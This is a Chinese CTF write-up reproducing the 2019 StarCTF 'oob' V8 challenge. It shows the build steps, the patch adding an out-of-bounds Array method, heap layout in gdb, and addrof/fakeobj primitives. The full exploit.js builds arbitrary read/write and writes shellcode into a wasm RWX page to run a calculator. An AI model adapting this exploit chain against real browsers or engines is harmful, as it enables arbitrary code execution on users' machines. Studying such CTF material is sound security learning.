查看原文
其他

V8利用初探 2019 StarCTF oob 复现分析

srp8ve7ou2 看雪学苑 2022-07-01
本文为看雪论坛精华文章
看雪论坛作者ID:srp8ve7ou2


第一次分析v8利用,过程中也是走了不少的弯路,踩了不少的坑,不过最后还是成功复现了一次完整的利用,特此记录一下。


1


环境搭建


# 全局vpn# 下载Google的环境部署工具git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git# 配置环境变量echo "export PATH=/home/pwn/tools/depot_tools:$PATH" >> ~/.bashrc# 获取v8源码fetch v8cd v8# 切换至指定的commit版本git checkout 6dc88c191f5ecc5389dc26efa3ca0907faef3598# 工具同步gclient sync# 应用题目的补丁文件git apply ../oob.diff# 编译release版本./tools/dev/v8gen.py x64.releaseninja -C ./out.gn/x64.release# 编译debug版本./tools/dev/v8gen.py x64.debugninja -C ./out.gn/x64.debug


2


poc测试


~/Desktop/v8/v8/v8/out.gn/x64.release$ ./d8 /home/srp8ve7ou2/Desktop/v8/starctf2019/wasm_pwn.js

成功弹出计算器:




3


diff文件


我们仅仅需要关注diff文件的22-42行即可,其它部分的删改只是为了能让v8正确地编译通过。

这个diff文件给Array对象增加了一个oob方法,提供了数组越界读写的功能,不提供参数时为越界读(arr.oob())

提供一个参数时为越界写(arr.oob(val))。

diff --git a/src/bootstrapper.cc b/src/bootstrapper.ccindex b027d36..ef1002f 100644--- a/src/bootstrapper.cc+++ b/src/bootstrapper.cc@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object, Builtins::kArrayPrototypeCopyWithin, 2, false); SimpleInstallFunction(isolate_, proto, "fill", Builtins::kArrayPrototypeFill, 1, false);+ SimpleInstallFunction(isolate_, proto, "oob",+ Builtins::kArrayOob,2,false); SimpleInstallFunction(isolate_, proto, "find", Builtins::kArrayPrototypeFind, 1, false); SimpleInstallFunction(isolate_, proto, "findIndex",diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.ccindex 8df340e..9b828ab 100644--- a/src/builtins/builtins-array.cc+++ b/src/builtins/builtins-array.cc@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate, return *final_length; } } // namespace+BUILTIN(ArrayOob){+ uint32_t len = args.length();+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();+ Handle<JSReceiver> receiver;+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(+ isolate, receiver, Object::ToObject(isolate, args.receiver()));+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());+ uint32_t length = static_cast<uint32_t>(array->length()->Number());+ if(len == 1){+ //read+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));+ }else{+ //write+ Handle<Object> value;+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));+ elements.set(length,value->Number());+ return ReadOnlyRoots(isolate).undefined_value();+ }+} BUILTIN(ArrayPush) { HandleScope scope(isolate);diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.hindex 0447230..f113a81 100644--- a/src/builtins/builtins-definitions.h+++ b/src/builtins/builtins-definitions.h@@ -368,6 +368,7 @@ namespace internal { TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \ /* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \ TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \+ CPP(ArrayOob) \ \ /* ArrayBuffer */ \ /* ES #sec-arraybuffer-constructor */ \diff --git a/src/compiler/typer.cc b/src/compiler/typer.ccindex ed1e4a5..c199e3a 100644--- a/src/compiler/typer.cc+++ b/src/compiler/typer.cc@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) { return Type::Receiver(); case Builtins::kArrayUnshift: return t->cache_->kPositiveSafeInteger;+ case Builtins::kArrayOob:+ return Type::Receiver(); // ArrayBuffer functions. case Builtins::kArrayBufferIsView:



4


基本的调试方法


1、辅助输出的js函数,实现浮点数和整数相互转换的功能

var buf = new ArrayBuffer(8); // 8 byte array buffervar f64_buf = new Float64Array(buf);var u64_buf = new Uint32Array(buf); function ftoi(val) { // typeof(val) = float f64_buf[0] = val; return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); // Watch for little endianness} function itof(val) { // typeof(val) = BigInt u64_buf[0] = Number(val & 0xffffffffn); u64_buf[1] = Number(val >> 32n); return f64_buf[0];}

2、v8内置的辅助函数
# 输出obj对象的内存信息1、%DebugPrint(obj);# 控制权从d8转交给gdb调试器,方便观察内存数据2、%SystemBreak();

3、不同数据类型的表示方法
double浮点数类型:为64位浮点数的正常表示smi整数类型:低32位为0,高32位为该整数指针类型:最低位永远为1

 

5


v8 Array对象的内存布局


做实验:首先创建了一个长度为2的浮点数数组,然后用DebugPrint输出该数组的调试信息。


我们需要关注Array对象的地址和Array对象的map域和element域。

element域可以理解为一个指针,指向的是这个Array具体保存的数据。

map域比较复杂但是很重要,可以简单理解成v8用它来表示这是一个什么样的对象,以及采用什么样的方法来对这个对象进行各种操作。
srp8ve7ou2@vm:~/Desktop/v8/v8/v8/out.gn/x64.debug$ gdb d8GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2Copyright (C) 2020 Free Software Foundation, Inc.License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>This is free software: you are free to change and redistribute it.There is NO WARRANTY, to the extent permitted by law.Type "show copying" and "show warranty" for details.This GDB was configured as "x86_64-linux-gnu".Type "show configuration" for configuration details.For bug reporting instructions, please see:<http://www.gnu.org/software/gdb/bugs/>.Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help".Type "apropos word" to search for commands related to "word"...GEF for linux ready, type `gef' to start, `gef config' to configure93 commands loaded for GDB 9.2 using Python engine 3.8[*] 3 commands could not be loaded, run `gef missing` to know why.Reading symbols from d8...gef➤ run --allow-natives-syntaxStarting program: /home/srp8ve7ou2/Desktop/v8/v8/v8/out.gn/x64.debug/d8 --allow-natives-syntax[Thread debugging using libthread_db enabled]Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".[New Thread 0x7ffff3a87700 (LWP 15179)]V8 version 7.5.0 (candidate)d8> var a = [1.1,2.2]undefinedd8> %DebugPrint(a)DebugPrint: 0x2013f4c4dd79: [JSArray] - map: 0x1f8bf2202ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties] - prototype: 0x20ef3d611111 <JSArray[0]> - elements: 0x2013f4c4dd59 <FixedDoubleArray[2]> [PACKED_DOUBLE_ELEMENTS] - length: 2 - properties: 0x0838ec040c71 <FixedArray[0]> { #length: 0x2c439fb801a9 <AccessorInfo> (const accessor descriptor) } - elements: 0x2013f4c4dd59 <FixedDoubleArray[2]> { 0: 1.1 1: 2.2 }0x1f8bf2202ed9: [Map] - type: JS_ARRAY_TYPE - instance size: 32 - inobject properties: 0 - elements kind: PACKED_DOUBLE_ELEMENTS - unused property fields: 0 - enum length: invalid - back pointer: 0x1f8bf2202e89 <Map(HOLEY_SMI_ELEMENTS)> - prototype_validity cell: 0x2c439fb80609 <Cell value= 1> - instance descriptors #1: 0x20ef3d611f49 <DescriptorArray[1]> - layout descriptor: (nil) - transitions #1: 0x20ef3d611eb9 <TransitionArray[4]>Transition array #1: 0x0838ec044ba1 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x1f8bf2202f29 <Map(HOLEY_DOUBLE_ELEMENTS)> - prototype: 0x20ef3d611111 <JSArray[0]> - constructor: 0x20ef3d610ec1 <JSFunction Array (sfi = 0x2c439fb8aca1)> - dependent code: 0x0838ec0402c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)> - construction counter: 0 [1.1, 2.2]d8>

切换到调试器模式看内存:map的偏移为0,elements的偏移为0x10:
gef➤ x/4gx 0x2013f4c4dd79-10x2013f4c4dd78: 0x00001f8bf2202ed9 0x00000838ec040c710x2013f4c4dd88: 0x00002013f4c4dd59 0x0000000200000000

elements指向的区域就在这个Array对象的正前方:其中0x3ff199999999999a 0x400199999999999a就是1.1和2.2在内存中的64位表示。

再往前的0x00000838ec0414f9 0x0000000200000000则分别代表另一个对象的map域和这个数组的长度(smi类型)。
gef➤ x/10gx 0x2013f4c4dd59-10x2013f4c4dd58: 0x00000838ec0414f9 0x00000002000000000x2013f4c4dd68: 0x3ff199999999999a 0x400199999999999a0x2013f4c4dd78: 0x00001f8bf2202ed9 0x00000838ec040c710x2013f4c4dd88: 0x00002013f4c4dd59 0x00000002000000000x2013f4c4dd98: 0x00000838ec040941 0x00000adce0993e5a

所以题目提供的array.oob()方法恰好能对该array的map域进行越界读写。


6


利用越界读写map来实现任意地址读写功能。


首先要实现取对象地址功能和在任意地址伪造对象的功能,刚才已经提到过v8通过对象的map域来决定对象的数据类型以及操作方法。

所以下面我们先定义了一个长度为1的对象数组,其唯一的一个元素是一个对象,再定义了一个长度为4的浮点数数组。

利用oob方法越界读取出这两个数组的map对象的地址值。获取任意对象地址:

我们先把需要获取地址的对象放入对象数组中,然后将这个对象数组的map篡改为浮点数组的map域。此时再读取这个对象,由于map域被改成了浮点类型的map域,v8会将这个对象的地址当成一个浮点数返回给我们。

任意地址伪造对象:

与上面功能类似,这里是把浮点数组的index0处的数据改为任意地址,然后把浮点数组的map域篡改成对象数组的map域,然后在获取这个值,v8引擎则会将该地址作为一个对象返回给我们。
var temp_obj = {"A":1};var obj_arr = [temp_obj];var fl_arr = [1.1, 1.2, 1.3, 1.4];var map1 = obj_arr.oob();var map2 = fl_arr.oob(); function addrof(in_obj) { obj_arr[0] = in_obj; obj_arr.oob(map2); let addr = obj_arr[0]; obj_arr.oob(map1); return ftoi(addr);} function fakeobj(addr) { fl_arr[0] = itof(addr); fl_arr.oob(map1); let fake = fl_arr[0]; fl_arr.oob(map2); return fake;}

接下来实现的是任意地址读取的功能:

先定义一个长度为4的浮点数数组,其index0处放置的是另一个浮点数数组的map域。

然后用上面的fakeobj功能在该map域伪造另一个浮点数数组,那么伪造的这个浮点数数组的element域就对应着原来数组的arb_rw_arr[2],把这个伪造的element域指向要读取地址-0x10,再利用fakeobj完成读取功能即可。
var arb_rw_arr = [map2, 1.2, 1.3, 1.4]; function arb_read(addr) { if (addr % 2n == 0) addr += 1n; let fake = fakeobj(addrof(arb_rw_arr) - 0x20n); arb_rw_arr[2] = itof(BigInt(addr) - 0x10n); return ftoi(fake[0]);}

任意地址写功能实现起来比较麻烦,不能直接利用fakeobj来任意写(会报错),还需要通过ArrayBuffer和DataView来实现具体的功能,具体的原因和过程我并没深究:

function initial_arb_write(addr, val) { // Place a fakeobj right on top of our crafted array with a float array map let fake = fakeobj(addrof(arb_rw_arr) - 0x20n); // Change the elements pointer using our crafted array to write_addr-0x10 arb_rw_arr[2] = itof(BigInt(addr) - 0x10n); // Write to index 0 as a floating point value fake[0] = itof(BigInt(val));} function arb_write(addr, val) { let buf = new ArrayBuffer(8); let dataview = new DataView(buf); let buf_addr = addrof(buf); let backing_store_addr = buf_addr + 0x20n; initial_arb_write(backing_store_addr, addr); dataview.setBigUint64(0, BigInt(val), true);}



7


完成最后的利用


有了任意地址读写功能后的最后一个问题是如何实现任意代码执行。
这里需要提到的是v8内嵌的wasm字节码在内存中是以RWX的权限保存的。
大致的利用思路:
1、分配一个WebAssembly对象。
2、本地调试找到字节码存放的具体地址
3、利用任意写功能把shellcode写到该地址处
4、调用该wasm对象,完成任意代码执行。


8


exploit.js


/// Helper functions to convert between float and integer primitivesvar buf = new ArrayBuffer(8); // 8 byte array buffervar f64_buf = new Float64Array(buf);var u64_buf = new Uint32Array(buf); function ftoi(val) { // typeof(val) = float f64_buf[0] = val; return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); // Watch for little endianness} function itof(val) { // typeof(val) = BigInt u64_buf[0] = Number(val & 0xffffffffn); u64_buf[1] = Number(val >> 32n); return f64_buf[0];} /// Construct addrof primitivevar temp_obj = {"A":1};var obj_arr = [temp_obj];var fl_arr = [1.1, 1.2, 1.3, 1.4];var map1 = obj_arr.oob();var map2 = fl_arr.oob(); function addrof(in_obj) { // First, put the obj whose address we want to find into index 0 obj_arr[0] = in_obj; // Change the obj array's map to the float array's map obj_arr.oob(map2); // Get the address by accessing index 0 let addr = obj_arr[0]; // Set the map back obj_arr.oob(map1); // Return the address as a BigInt return ftoi(addr);} function fakeobj(addr) { // First, put the address as a float into index 0 of the float array fl_arr[0] = itof(addr); // Change the float array's map to the obj array's map fl_arr.oob(map1); // Get a "fake" object at that memory location and store it let fake = fl_arr[0]; // Set the map back fl_arr.oob(map2); // Return the object return fake;} var arb_rw_arr = [map2, 1.2, 1.3, 1.4]; console.log("[+] Controlled float array: 0x" + addrof(arb_rw_arr).toString(16)); function arb_read(addr) { // We have to use tagged pointers for reading, so we tag the addr if (addr % 2n == 0) addr += 1n; // Place a fakeobj right on top of our crafted array with a float array map let fake = fakeobj(addrof(arb_rw_arr) - 0x20n); // Change the elements pointer using our crafted array to read_addr-0x10 arb_rw_arr[2] = itof(BigInt(addr) - 0x10n); // Index 0 will then return the value at read_addr return ftoi(fake[0]);} function initial_arb_write(addr, val) { // Place a fakeobj right on top of our crafted array with a float array map let fake = fakeobj(addrof(arb_rw_arr) - 0x20n); // Change the elements pointer using our crafted array to write_addr-0x10 arb_rw_arr[2] = itof(BigInt(addr) - 0x10n); // Write to index 0 as a floating point value fake[0] = itof(BigInt(val));} function arb_write(addr, val) { let buf = new ArrayBuffer(8); let dataview = new DataView(buf); let buf_addr = addrof(buf); let backing_store_addr = buf_addr + 0x20n; initial_arb_write(backing_store_addr, addr); dataview.setBigUint64(0, BigInt(val), true);} var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);var wasm_mod = new WebAssembly.Module(wasm_code);var wasm_instance = new WebAssembly.Instance(wasm_mod);var f = wasm_instance.exports.main; var rwx_page_addr = arb_read(addrof(wasm_instance)-1n+0x88n); console.log("[+] RWX Wasm page addr: 0x" + rwx_page_addr.toString(16)); function copy_shellcode(addr, shellcode) { let buf = new ArrayBuffer(0x100); let dataview = new DataView(buf); let buf_addr = addrof(buf); let backing_store_addr = buf_addr + 0x20n; initial_arb_write(backing_store_addr, addr); for (let i = 0; i < shellcode.length; i++) { dataview.setUint32(4*i, shellcode[i], true); }} // https://xz.aliyun.com/t/5003var shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00]; console.log("[+] Copying xcalc shellcode to RWX page"); copy_shellcode(rwx_page_addr, shellcode); console.log("[+] Popping calc"); f();


参考链接:

1、Exploiting v8: *CTF 2019 oob-v8
2、V8 Exploitation : Star CTF 2019 OOB-v8 | by 0verflowme | Medium



 


看雪ID:srp8ve7ou2

https://bbs.pediy.com/user-home-901712.htm

*本文由看雪论坛 srp8ve7ou2 原创,转载请注明来自看雪社区






# 往期推荐

1. 新人PWN入坑总结

2. 数据库注入wp分析心得

3.【封神台】Sql-Labs wp

4. Cisco RV160W系列路由器漏洞:从1day分析到0day挖掘

5. 从SSL库的内存漫游开发dump自定义客户端证书的通杀脚本

6. Roll_a_d8新人向Writeup



公众号ID:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com



球分享

球点赞

球在看



点击“阅读原文”,了解更多!

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存